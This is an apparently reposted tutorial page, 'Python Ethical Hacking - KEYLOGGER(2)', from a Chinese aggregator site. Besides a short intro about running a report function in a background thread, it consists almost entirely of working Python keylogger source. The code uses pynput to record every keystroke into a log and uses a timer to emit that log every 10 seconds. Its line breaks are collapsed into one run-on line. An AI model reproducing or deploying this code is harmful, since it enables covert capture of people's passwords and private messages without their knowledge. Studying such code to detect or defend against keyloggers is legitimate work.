Python Ethical Hacking - KEYLOGGER(2)
发布时间:2020-12-20 10:24:24 所属栏目:Python 来源:网络整理
导读:Report function: Run in the background. Don‘t interrupt program execution. Every X seconds,send the report. -Great case for threading. # !/usr/bin/env python import threading import pynput.keyboardlog = "" def process_key_press(key): glob
Report function:
->Great case for threading. #!/usr/bin/env python import threading import pynput.keyboard log = "" def process_key_press(key): global log try: log = log + str(key.char) except AttributeError: if key == key.space: log = log + " " else: log = log + " " + str(key) + " " def report(): global log print(log) log = "" timer = threading.Timer(10,report) timer.start() keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press) with keyboard_listener: report() keyboard_listener.join() (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |